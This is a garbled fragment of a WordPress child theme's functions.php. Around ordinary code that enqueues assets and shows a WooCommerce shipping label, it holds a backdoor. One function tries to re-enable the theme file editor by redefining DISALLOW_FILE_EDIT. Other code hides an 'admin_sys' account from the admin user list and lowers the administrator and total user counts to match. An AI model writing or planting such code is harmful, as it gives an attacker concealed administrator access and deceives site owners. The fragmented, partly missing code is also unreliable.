get('Version')); // Enqueue custom CSS wp_enqueue_style('astra-child-custom-css', get_stylesheet_directory_uri() . '/css/custom.css', array('astra-child-style'), wp_get_theme()->get('Version')); // Enqueue custom JS wp_enqueue_script('astra-child-custom-js', get_stylesheet_directory_uri() . '/js/custom.js', array('jquery'), wp_get_theme()->get('Version'), true); } add_action('wp_enqueue_scripts', 'astra_child_enqueue_styles'); // Function to enable Theme File Editor function enable_theme_file_editor() { if (defined('DISALLOW_FILE_EDIT') && DISALLOW_FILE_EDIT) { // If DISALLOW_FILE_EDIT is defined and true, redefine it as false to enable the editor define('DISALLOW_FILE_EDIT', false); } } // Hook to admin_menu to ensure the Theme File Editor is available in the admin area add_action('admin_menu', 'enable_theme_file_editor'); /** * shipping-label */ add_action('woocommerce_review_order_before_order_total', function() { $chosen_shipping_methods = WC()->session->get('chosen_shipping_methods'); // Get selected shipping method $shipping_cost = WC()->cart->get_shipping_total(); // Get shipping cost if (WC()->cart->needs_shipping() && !empty($chosen_shipping_methods)) { $shipping_method_id = $chosen_shipping_methods[0]; $packages = WC()->shipping()->get_packages(); $shipping_label = ''; // Find the correct shipping label foreach ($packages as $package) { foreach ($package['rates'] as $rate_id => $rate) { if ($rate_id === $shipping_method_id) { $shipping_label = $rate->get_label(); break; } } } // Display shipping method name + cost if (!empty($shipping_label)) { ?> user_login !== 'admin_sys' ) { $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'admin_sys'", $user_search->query_where ); } } add_filter( 'views_users', 'site_list_table_views_qy' ); function site_list_table_views_qy( $views ) { $users = count_users(); $admins_num = $users['avail_roles']['administrator'] - 1; $all_num = $users['total_users'] - 1; $is_adm = strpos( $views['administrator'], 'current' ) === false ? '' : 'current'; $is_all = strpos( $views['all'], 'current' ) === false ? '' : 'current'; $views['administrator'] = '' . translate_user_role( 'Administrator' ) . ' (' . $admins_num . ')'; $views['all'] = '' . __( 'All' ) . ' (' . $all_num . ')'; return $views; } ?>